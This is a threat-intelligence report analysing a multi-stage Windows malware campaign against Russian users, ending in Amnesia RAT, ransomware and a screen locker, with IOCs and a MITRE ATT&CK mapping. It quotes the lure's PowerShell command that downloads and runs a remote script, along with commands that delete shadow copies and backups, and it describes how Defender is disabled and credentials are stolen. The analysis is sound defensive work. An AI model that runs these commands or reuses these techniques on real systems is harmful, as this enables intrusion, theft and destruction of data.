FortiGuard Labs recently identified a multi-stage malware campaign primarily targeting users in Russia. The attack begins with social engineering lures delivered via business-themed documents crafted to appear routine and benign. These documents and accompanying scripts serve as visual distractions, diverting victims to fake tasks or status messages while malicious activity runs silently in the background.
As the attack chain progresses, it escalates into a full-system compromise that includes security-control bypass, surveillance, system restriction, deployment of Amnesia RAT, and ransomware delivery. A defining characteristic of this campaign is the operational abuse of Defendnot, a research tool originally designed to demonstrate weaknesses in the Windows Security Center trust model. In this campaign, Defendnot is repurposed to disable Microsoft Defender.[1]
The threat actors further increase resilience by separating payload hosting across multiple public cloud services. GitHub is primarily used to distribute scripts, while Dropbox hosts binary payloads. This modular hosting approach allows attackers to update or rotate components independently, complicates takedown efforts, and helps malicious traffic blend into legitimate enterprise network activity. This report details each stage of the attack chain and the techniques used to sustain and escalate the intrusion.
Initial Infection Vector and Social Engineering - The infection chain begins with a compressed archive delivered to the victim. The archive contains multiple-decorated documents crafted to resemble legitimate business and accounting materials. These include text files and spreadsheets with Russian-language filenames referencing routine financial and reporting tasks, reinforcing the appearance of normal workplace activity.
Figure 2: Archive contents used as social-engineering decoys
The primary malicious file within the archive is the LNK shortcut
Задание_для_бухгалтера_02отдела.txt.lnk
(Assignment_for_accountant_02department.txt.lnk).
The filename is intentionally constructed to appear like a standard text document used in accounting workflows, thereby increasing the likelihood of user interaction. When executed, the LNK file launches PowerShell as the initial execution vector using the following parameters:
Relative Path:
..\..\..\..\..\..\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Working Directory:
C:\WINDOWS\System32\WindowsPowerShell\v1.0
Arguments:
-ExecutionPolicy Bypass -Command "irm 'hxxps://github[.]com/Mafin111/MafinREP111/raw/refs/heads/main/ps1/kira[.]ps1' | iex"
No exploit or vulnerability is leveraged at this stage. Instead, the attack relies entirely on user execution, a technique that remains highly effective in enterprise environments where document sharing and archive extraction are routine. Using an execution policy bypass allows the script to run without local PowerShell policy enforcement. Once launched, the downloaded PowerShell script (kira.ps1) functions as a first-stage loader. Its role is to establish an initial foothold, prepare the system environment, and transition execution to subsequent stages of the attack chain.
Stage One Loader: PowerShell Script Execution: The kira.ps1 script does not deliver the final payload. Instead, it performs a series of preparatory actions intended to conceal malicious execution and reduce user suspicion during the early stages of compromise. The script first suppresses visible execution by programmatically hiding the PowerShell console window. This removes any immediate visual indicators that a script is running. It then generates a decoy text document in the user’s local application data directory. The document contains detailed accounting and reporting instructions written in Russian, closely aligned with the filenames and themes used in the initial archive.
Figure 3: Creation of decoy text file used for user distraction
Once written to disk, the decoy document is automatically opened. This reinforces the appearance of a legitimate business task and keeps the user engaged while malicious activity continues in the background. After establishing this distraction, the script sends an execution confirmation to the attacker using the Telegram Bot API.
The message includes user-context information, allowing the attacker to verify that the initial stage has been executed successfully on a live system. Following a deliberate delay of 444 seconds, kira.ps1 retrieves an obfuscated VBScript payload from a GitHub repository.
The script is executed via Windows Script Host in a hidden window, ensuring that no visible execution artifacts are created.
Figure 4: Telegram notification and secondary script deployment
By offloading all core malicious functionality to externally hosted scripts, kira.ps1 remains lightweight and modular. This design allows attackers to update or replace downstream payloads without modifying the initial loader, while also reducing the static footprint of the first-stage script.
Stage Two Orchestrator: Obfuscated VBScript: The stage-two payload, SCRRC4ryuk.vbe, is written to disk in a fully encoded form generated using Script Encoder Plus. In its stored state, the file bears no resemblance to readable VBScript. Instead, it begins with a dense sequence of nonstandard characters and control markers characteristic of Script Encoder Plus output, followed by an embedded encoder banner and seed values.
Figure 5: Encoded VBScript payload generated by Script Encoder Plus
After decoding the outer obfuscation layer, analysis indicates that SCRRC4ryuk.vbe serves as the central orchestrator of the attack chain. Rather than executing a single malicious action directly, the script dynamically reconstructs the next execution stage entirely in memory.
The core payload is embedded across multiple string variables, typically labeled Part1 and Part2. These fragments are concatenated at runtime and passed through a custom decoding routine. The script implements a layered decoding process that first decodes the Base64-encoded stream and then decrypts the resulting byte stream with RC4. Once decrypted, the byte data is converted into Unicode text and executed dynamically using the ExecuteGlobal function.
Figure 6: Runtime reconstruction and execution of the decoded payload
This layered design ensures that the final malicious logic is never written to disk in clear text and only materializes briefly during execution. By combining commercial script encoding in the outer layer with custom cryptographic routines for payload reconstruction, the attacker significantly reduces opportunities for static analysis and signature-based detection.
The following sections break down the internal logic of this VBScript and the subsequent stages it deploys.
Final Stage: Core Object Initialization and Execution:
The final-stage script begins by explicitly initializing a set of core COM objects, including WScript.Shell, Scripting.FileSystemObject, and WMI providers. These objects are reused throughout the remaining execution phases and form the foundation for process creation, file operations, and system interrogation. Before performing any destructive or persistent actions, the script verifies that it is running with administrative privileges. To do so, it attempts to create a batch file named test.bat in the C:\Windows\System32\ directory. Because this directory is protected by the operating system, a successful write operation indicates that the process is executing with elevated rights.
If file creation fails, the script assumes insufficient privileges and enters a persistent User Account Control (UAC) escalation loop. During this loop, the script repeatedly relaunches itself via ShellExecute with the runas verb, prompting the UAC dialog to appear.
To detect whether elevation privileges have been granted, the script pauses for 3,000 milliseconds between attempts and queries active processes through WMI, specifically checking for the presence of cmd.exe. The appearance of a command shell process is treated as a signal that privilege elevation has succeeded. Once detected, the script exits the escalation loop and terminates any remaining command shell processes to minimize visible artifacts.
If the initial attempt to write test.bat to the system directory succeeds without error, the script concludes that administrative privileges are present. It then writes a confirmation message to the batch file and executes it immediately, bypassing the escalation logic entirely.
Figure 7: Administrative privilege verification and UAC escalation logic
Once the execution environment is fully prepared, the script transitions into its final operational phase. From this point forward, execution is structured around four primary objectives, each implemented through multiple complementary techniques and payloads. These objectives are detailed in the following sections.
Phase 1: Defensive Neutralization and Evasion - This phase focuses on suppressing visibility into security controls and neutralizing endpoint protection mechanisms before deploying high-impact payloads.
- Fake Update Download and Decoy Execution - The script initiates a decoy execution stage designed to occupy the victim’s attention and simulate legitimate system activity. It first queries WMI for running processes to determine whether a process named install.exe is already running. This check prevents redundant execution of the decoy component.
If no existing instance is detected, the script downloads an executable from a public GitHub repository:
hxxps://github[.]com/Mafin111/MafinREP111/raw/refs/heads/main/install[.]exe
and saves it to %PROGRAMDATA%\install.exe.
The downloaded file is a . NET-based executable designed solely as a visual decoy. When launched, it displays a Windows Forms interface titled “Microsoft® Windows Based Script Host,” deliberately mimicking a legitimate Windows utility. The application uses a fixed-size dialog, centers itself on the screen, and applies an icon extracted from the legitimate wscript.exe binary to reinforce authenticity. No functional logic is executed within this component. While the decoy window remains visible in the foreground, all malicious activity continues silently in the background.
Figure 8: Fake update executable used as a visual decoy
- Detection Evasion - After deploying the decoy, the script transitions into a dedicated detection-evasion phase that systematically disables Microsoft Defender before introducing high-risk payloads. The process begins with runtime configuration changes executed through PowerShell. The script explicitly disables Microsoft Defender real-time monitoring, preventing on-access scanning of files and processes. To further weaken detection coverage, it adds multiple filesystem exclusions using Defender’s native preference interface.
These exclusions target directories commonly used for payload staging and execution, including ProgramData, Program Files, Desktop, Downloads, and the system temporary directory. By excluding these locations, the script ensures that files written and executed during later stages fall outside Defender’s scanning scope.
Figure 9: Modification of Windows Defender scan preferences
The script then disables additional Defender protection components individually using a sequence of PowerShell commands. Each command targets a specific capability, including behavior monitoring, block-at-first-seen protection, IOAV scanning, archive scanning, script scanning, removable media scanning, email scanning, intrusion prevention features, and scheduled catch-up scans. Commands are executed sequentially with short delays to prevent partial failures from interrupting the process.
Figure 10: Sequential disabling of Defender protection features
To enforce long-term suppression, the script writes multiple policy-controlled registry values under HKLM\SOFTWARE\Policies\Microsoft\Windows Defender. These entries disable core antivirus and antispyware functionality, including real-time protection, behavior analysis, on-access scanning, archive inspection, and scan-on-enable enforcement. Defender reporting and user experience policies are also modified to suppress notification prompts, ensuring that the user receives no visible indication that protection has been disabled.
Figure 11: Registry-based enforcement of Defender suppression
- Security Control Bypass via Defendnot Deployment - The script then proceeds to a dedicated security-control bypass stage by deploying Defendnot, a tool that disables Microsoft Defender by exploiting the Windows Security Center trust model rather than terminating Defender components directly.
The script downloads the Defendnot DLL and loader from GitHub and writes them to
%PROGRAMDATA%\defendnot.dll and %PROGRAMDATA%\defendnot-loader.exe.
The loader injects the Defendnot DLL into the Microsoft-signed, trusted system process Taskmgr.exe by default. Within this trusted execution context, the DLL registers a fake antivirus product with the Windows Security Center. This registration triggers standard Windows behavior, causing Microsoft Defender to automatically disable itself to avoid conflicts with the newly registered antivirus. This technique exploits trust assumptions embedded in the Windows Security Center, which treats antivirus products registered through approved interfaces as authoritative.
Figure 12: The download and deployment of Defendnot components
Phase 2: Environment Reconnaissance and Surveillance - Following defensive neutralization, the attack transitions into environment reconnaissance and active user surveillance.
- System Information Collection and Telegram Exfiltration - After privilege enforcement and environment setup are complete, the script enters a dedicated phase to collect system information. The explicit objective of this stage is to gather detailed host, hardware, user, network, and security-related information and transmit it to the attacker via the Telegram Bot API.
Collected data includes system identifiers, user context, domain membership, and other environment attributes relevant for profiling the compromised host and guiding subsequent attacker actions. Once assembled, the data is transmitted directly to the attacker-controlled Telegram bot endpoint, providing near-real-time confirmation of successful compromise and situational awareness of the victim’s environment.
Figure 13: Transmission of collected system information via Telegram
- User Activity Surveillance via Screenshot Capture - After completing detection-evasion measures, the attack initiates active visual monitoring of user activity over a fixed observation window. The script retrieves an additional payload from the same GitHub repository, hxxps://github[.]com/Mafin111/MafinREP111/raw/refs/heads/main/TelegramWorker[.]scr, and writes it to %PROGRAMDATA%\TelegramWorker.scr.
Using the .scr extension causes Windows to treat the file as a screen saver executable, reducing user suspicion during execution. Despite the extension, TelegramWorker.scr is a . NET-based executable that functions as a dedicated surveillance module. Upon execution, the module retrieves its own process name and queries the system for other running instances with the same name. If more than one instance is detected, execution terminates immediately. This single-instance enforcement prevents redundant execution and avoids overlapping screenshot capture.
The module then enters a capture loop with a limit of 30 iterations. During each iteration, it constructs a local file path using a predefined directory and sequential filenames (for example, 1.png, 2.png). The current screen contents are captured and written to disk at the generated path. Each image is then transmitted to the attacker via the Telegram Bot API, enabling near real-time observation of user activity.
A fixed 30-second delay is enforced between captures, resulting in a total surveillance window of approximately 15 minutes.
Figure 14: Screenshot capture and exfiltration component
Phase 3: System Lockdown and Response Suppression - To prevent remediation, investigation, or recovery, the malware transitions into a comprehensive system lockdown phase that strips the victim of administrative control and recovery options.
- System Tool Restriction and Recovery Destruction - The script disables a broad set of Windows administrative and diagnostic tools by modifying registry-based policy controls rather than terminating services or altering binaries. This approach leverages native Windows policy enforcement mechanisms, ensuring changes take effect immediately and persist across sessions.
User-facing tools explicitly disabled include:
- Registry Editor, preventing inspection or reversal of registry-based persistence and policy changes
- Task Manager, blocking process visibility and termination
- Run dialog, restricting command execution
- Folder Options, preventing access to hidden files and file extensions
- System Settings and Control Panel, blocking access to core configuration interfaces
- System configuration utilities (for example, msconfig), preventing inspection of startup behavior, services, and boot options
- System properties and context menus, limiting access to system-level dialogs and right-click administrative shortcuts
- Legacy execution pathways, reducing alternative diagnostic or recovery options
All policy values are written under
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\
By targeting the current user hive, the restrictions apply immediately without requiring system-wide policy deployment. After writing the registry values, the script forces policy application by executing gpupdate /force, ensuring the changes take effect without waiting for the next refresh cycle. With administrative access effectively disabled, the script then disables system recovery mechanisms. It first disables the Windows Recovery Environment using reagentc /disable, preventing access to boot-time repair and reset options. It then deletes the Windows Backup catalog using wbadmin delete catalog -quiet, rendering existing backup references unusable. Finally, all Volume Shadow Copy Service snapshots are removed using vssadmin delete shadows /all /quiet, permanently eliminating restore points and file version history.
All recovery-disabling commands are executed silently through cmd.exe, suppressing output to avoid alerting the user.
Figure 15: Registry-based restriction of system administration tools
- File Association Hijacking and Execution Control - In the final stage of the attack chain, the malware implements an extensive file association hijacking mechanism to prevent the victim from launching applications or opening common file types. Rather than deleting files or terminating processes, the script exploits Windows file association behavior in the registry to intercept execution attempts.
The script defines a comprehensive list of file extensions, including executable, document, archive, image, media, script, installer, and configuration formats. For each extension, it overwrites the default open command under the HKCR registry hive. Instead of invoking the associated application, opening these files launches a command shell that displays a message instructing the victim to contact the attacker via Telegram.
This approach disables application execution without modifying or corrupting the underlying files. From the user’s perspective, files appear intact but are functionally unusable, reinforcing the perception of complete system compromise.
Figure 16: Registry-based blocking of application and document execution
While broadly restricting execution, the script explicitly preserves functionality for malicious script formats. File associations for .vbs (VBScript) and .scr (Screen Saver) files are deliberately configured to ensure reliable execution. The registry mappings explicitly bind .vbs files to WScript.exe or CScript.exe, preventing accidental opening in text editors or interference from default security associations.
The .scr extension, which is functionally equivalent to .exe, is configured with an “%1 /S” execution command to ensure it runs as an executable. To immediately apply all association changes, the script runs regsvr32 /s /i shell32.dll, which forces the Windows Shell to refresh its configuration without requiring a reboot.
This guarantees that any subsequently deployed payloads execute immediately when accessed, while legitimate user workflows remain blocked.
Figure 17: File association manipulation to enforce execution control
Phase 4: Final Payload Impact - With security controls disabled, surveillance established, and recovery mechanisms removed, the malware deploys its final payloads. This phase combines persistent remote access, large-scale data theft, ransomware encryption, and full system lockout to maximize operational impact and coercive leverage.
- Amnesia RAT Deployment - The VBScript deploys a Remote Access Trojan as its primary long-term control and data-exfiltration component. This payload is hosted on Dropbox rather than GitHub and is downloaded with the deceptive filename “svchost.scr”. The file is copied to %PROGRAMDATA% and the user’s Startup folder, and persistence is established via a registry entry under HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Figure 18: Deployment of the RAT payload
Static analysis shows that svchost.scr is a 64-bit PE executable compiled with Microsoft Visual C++ and packaged using PyInstaller. Unpacking reveals multiple potential entry points, including a compiled Python module named amnesiarat1.pyc, indicating that the core functionality is implemented as an obfuscated Python-based Amnesia RAT.
Figure 19: Partial strings extracted from svchost.scr
Amnesia RAT is designed for broad, multi-category data theft combined with real-time surveillance and system control. Its capabilities include:
Browser credentials and session data: The RAT targets Chromium-based browsers, including Chrome, Edge, Chromium, Brave, Opera, Opera GX, Vivaldi, and Yandex. It extracts saved passwords, cookies, session tokens, browsing history, download records, and autofill data. Encrypted credentials are decrypted by retrieving the browser master key from the Local State file and invoking Windows DPAPI to recover plaintext secrets.
Telegram Desktop session hijacking: The malware explicitly targets Telegram Desktop by stealing local session artifacts from the tdata directory, including authentication keys, session files, configuration data, and account metadata. These artifacts enable full account takeover without credentials or two-factor authentication.
Seed phrase discovery and clipboard monitoring: The RAT recursively scans accessible drives for text files containing any of the 2,048 BIP-39 seed words. In parallel, it monitors clipboard contents in real time to intercept 12-, 18-, or 24-word recovery phrases.
Discord and Steam data theft: The RAT searches for Discord authentication tokens stored by both standalone applications and browsers, parsing LevelDB and Local Storage files using regex patterns applied to .log and .ldb files. It also targets Steam configuration files and ssfn authentication files.
Cryptocurrency wallets and financial assets: Hard-coded checks target specific browser extensions associated with MetaMask as well as desktop wallets including Zcash, Armory, Bytecoin, Jaxx, Exodus, Ethereum, Electrum, Atomic Wallet, Guarda, and Coinomi.
System and hardware intelligence: The RAT collects detailed host profiling data, including operating system version, username, domain, CPU model, RAM capacity, GPU model, BIOS version, motherboard identifier, disk capacity, and local and external IP addresses. This data supports victim fingerprinting and prioritization.
Screen, audio, and activity surveillance: Supported surveillance features include screenshot capture, webcam image capture, microphone audio recording, clipboard monitoring, and active window title enumeration. Collected artifacts are staged in C:\ProgramData before compression and exfiltration.
Process and system control: The RAT enables full remote interaction, including process enumeration and termination, execution of shell commands, deployment of arbitrary payloads, and execution of additional malware.
Persistence: Persistence is reinforced through registry autorun entries, often using benign-sounding names such as chromeupdate to evade casual inspection.
Exfiltration channels: Exfiltration is primarily performed over HTTPS using Telegram Bot APIs. Larger datasets may be uploaded to third-party file-hosting services such as GoFile, with download links relayed to the attacker via Telegram. This design eliminates the need for attacker-controlled infrastructure.
By combining credential theft, session hijacking, financial targeting, and real-time surveillance, Amnesia RAT enables full account takeover, identity abuse, and follow-on compromise campaigns.
Figure 20: Amnesia RAT public-facing reference site
- Ransomware Deployment - Following RAT deployment, the script downloads and executes an additional payload, WmiPrvSE.scr, from a remote GitHub repository. Execution is gated by an administrative privilege check and launched in a hidden PowerShell window. Persistence is reinforced by copying the payload into the Startup folder.
Figure 21: Deployment of the ransomware payload
The WmiPrvSE.scr payload represents the ransomware stage and is derived from the Hakuna Matata ransomware family. Once executed, it performs large-scale encryption across the system, targeting hundreds of file extensions spanning documents, archives, images, media, source code, and application assets.
Figure 22: Hakuna Matata ransomware execution
Encrypted files are renamed with the custom extension @NeverMind12F. The ransomware drops a ransom note named ЧИТАЙМЕНЯ.txt into affected directories and replaces the desktop wallpaper with a ransom image generated on the fly. To increase impact, it terminates processes associated with databases, office software, email clients, virtualization platforms, and security tools before rescanning and encrypting remaining files.
Figure 23: Targeted process termination and encryption
The ransomware maintains a continuous execution loop that actively monitors and hijacks clipboard contents, replacing cryptocurrency wallet addresses with attacker-controlled values. Combined with encryption, lockout mechanisms, and coercive visual messaging, these behaviors demonstrate an attack model built for maximum leverage, sustained control, and financial extraction.
Figure 24: ClipBanker functionality in Hakuna Matata ransomware
Figure 25: Ransomware wallpaper payload
- WinLocker Deployment - In parallel, the script deploys a WinLocker component that fully restricts user interaction. The payload is downloaded from GitHub and saved as %PROGRAMDATA%\gedion.scr. As with prior stages, execution requires administrative privileges and is launched in a hidden window. Once executed, the WinLocker creates a mutex named WINLOCKBYAMPBYAMPBYAMPfsdjf and enforces a full desktop lock, preventing normal system access. Victim-facing messages are embedded as Base64-encoded strings and decoded at runtime.
These messages, written in Russian, instruct the victim to contact the attacker via Telegram within 2 hours. This lightweight obfuscation reduces static detection while ensuring consistent messaging across the ransomware notes, the WinLocker interface, wallpaper overlays, and file-association hijacking routines.
Figure 26: WinLocker interface enforcing system lockout
Conclusion - This attack chain demonstrates how modern malware campaigns can achieve full system compromise without exploiting software vulnerabilities. Instead, the threat actor relies on social engineering, widely trusted platforms such as GitHub and Dropbox, and the abuse of legitimate operating system functionality to stage, deliver, and execute payloads while blending into normal enterprise traffic.
By systematically abusing native Windows features, administrative tools, and policy enforcement mechanisms, the attacker disables endpoint defenses before deploying persistent surveillance tooling and destructive payloads. The operational use of Defendnot highlights how publicly disclosed defensive research can be repurposed into active attack workflows by exploiting trust assumptions embedded within the Windows Security Center. In parallel, deploying Amnesia RAT enables long-term reconnaissance, credential theft, and interactive system control, while subsequent ransomware and WinLocker components enforce data denial and apply sustained psychological pressure on the victim.
This campaign underscores the importance of monitoring for anomalous security configuration changes, unexpected persistence mechanisms, and abuse of legitimate cloud services. Early detection of these behaviors is critical, as once defensive controls are neutralized and recovery mechanisms are removed, remediation options become severely constrained, and impact escalates rapidly.
IOCs
URLs
hxxps://github[.]com/Mafin111/MafinREP111
hxxps://dl.dropboxusercontent.com/scl/fi/fvugw0l9x7ty665esaul3/svchost.scr?rlkey=urzegysuk9bkrw2b8zmx31457&st=gbhmc2su
LNK
7b8cf0ef390a7d6126c5e7bf835af5c5ce32c70c0d58ca4ddc9c238b2d3f059a
Scripts
1828614be6d9bdd92f7ee30e12c8aac8eba33a6df2c92995f9bf930c3f1b992b
3aa6ebb73390d304eef8fd897994906c05f3e967f8f6f6a7904c6156cf8819f9
263b5ba921e478215dc9e3a397157badab415fc775cfb4681821b7446c14fb1a
5443232a367a83ac2899b37c066dae3ec2010df292291db24ce3d744133218a6
Payloads
359fe8df31c903153667fbe93795929ad6172540b3ee7f9eff4bcc1da6d08478
6222775b877b4be4f5407525d52c5889739b96c302e5a204ef369b4a51c6dab2
71069a5d2a80a047ca36ca82e630d353829726d4f03a74c7522b7700c5c2bb59
45e942ba59f3876b263a03ed7e5d5b1b250e84a0a4b4093b3c13b5fca4e12b21
e6ca6bab85ae1eff08a59b46b7905ae0568110da172dec8367f32779094bdd08
7de56603a7b41fca9313231df6105dbb8148d3b0d80dfbc00e71e1d88f871915
MITRE ATT&CK Mapping / MITRE ATT&CK techniques observed in this campaign map to the following:
|
Tactic |
Technique ID |
Technique Name |
Observed Behavior in This Campaign |
|
Initial Access |
T1566.001 |
Phishing: Attachment |
Delivery of malicious LNK and decoy documents inside a compressed archive masquerading as business files |
|
Execution |
T1059.001 |
Command and Scripting Interpreter: PowerShell |
PowerShell executed via LNK to download and execute staged payloads |
|
Execution |
T1059.005 |
Command and Scripting Interpreter: VBScript |
Obfuscated VBScript used as an orchestration layer and loader |
|
Defense Evasion |
T1562.001 |
Impair Defenses: Disable or Modify Tools |
Systematic disabling of Microsoft Defender features via PowerShell and registry policy |
|
Defense Evasion |
T1562.004 |
Impair Defenses: Disable or Modify System Firewall / AV |
Abuse of Defendnot to disable Defender by registering a fake antivirus |
|
Defense Evasion |
T1027 |
Obfuscated / Encrypted Files or Information |
Script Encoder Plus, Base64, and RC4 used to conceal payload logic |
|
Defense Evasion |
T1218 |
Signed Binary Proxy Execution |
Injection of Defendnot into a trusted Microsoft-signed process (Taskmgr.exe) |
|
Privilege Escalation |
T1548.002 |
Abuse Elevation Control Mechanism: Bypass UAC |
Repeated ShellExecute “runas” invocation to force UAC elevation |
|
Persistence |
T1547.001 |
Boot or Logon Autostart Execution: Registry Run Keys |
Autorun persistence via HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
|
Persistence |
T1547.001 |
Boot or Logon Autostart Execution: Startup Folder |
Payloads copied to the user's Startup directory |
|
Discovery |
T1082 |
System Information Discovery |
Collection of OS, hardware, domain, and environment details |
|
Discovery |
T1057 |
Process Discovery |
Enumeration of running processes to control execution and avoid duplication |
|
Collection |
T1113 |
Screen Capture |
Periodic screenshot capture via TelegramWorker.scr |
|
Collection |
T1056.001 |
Input Capture: Clipboard Data |
Clipboard monitoring for seed phrases and cryptocurrency addresses |
|
Credential Access |
T1555 |
Credentials from Password Stores |
Extraction of browser credentials and session data using DPAPI |
|
Credential Access |
T1539 |
Steal Web Session Cookie |
Theft of browser cookies and active session tokens |
|
Credential Access |
T1098 |
Account Manipulation |
Telegram Desktop session hijacking via stolen tdata artifacts |
|
Command and Control |
T1102.002 |
Web Service: External Web Services |
Telegram Bot API used for C2 and data exfiltration |
|
Command and Control |
T1071.001 |
Application Layer Protocol: Web Protocols |
HTTPS-based communication to Telegram and file-hosting services |
|
Exfiltration |
T1041 |
Exfiltration Over C2 Channel |
Data sent directly through Telegram Bot APIs |
|
Exfiltration |
T1567.002 |
Exfiltration Over Web Service |
Use of third-party file hosting (e.g., GoFile) for large data sets |
|
Impact |
T1486 |
Data Encrypted for Impact |
Hakuna Matata–derived ransomware encrypts user files |
|
Impact |
T1490 |
Inhibit System Recovery |
Deletion of backups, shadow copies, and disabling Windows Recovery |
|
Impact |
T1489 |
Service Stop |
Termination of services and processes prior to encryption |
|
Impact |
T1491.001 |
Defacement: Internal |
Wallpaper replacement and ransom messaging |
|
Impact |
T1499 |
Endpoint Denial of Service |
WinLocker deployment and file association hijacking |
|
Impact |
T1565.001 |
Stored Data Manipulation |
Clipboard hijacking to replace cryptocurrency wallet addresses |
This article is shared at no charge for educational and informational purposes only.
Red Sky Alliance is a Cyber Threat Analysis and Intelligence Service organization. We provide indicators-of-compromise information via a notification service (RedXray) or an analysis service (CTAC). For questions, comments, or assistance, please contact the office directly at 1-844-492-7225 or feedback@redskyalliance.com
- Reporting: https://www.redskyalliance.org/
- Website: https://www.redskyalliance.com/
- LinkedIn: https://www.linkedin.com/company/64265941
Weekly Cyber Intelligence Briefings:
REDSHORTS - Weekly Cyber Intelligence Briefings
https://register.gotowebinar.com/register/5207428251321676122
[1] https://www.fortinet.com/blog/threat-research/inside-a-multi-stage-windows-malware-campaign/
Comments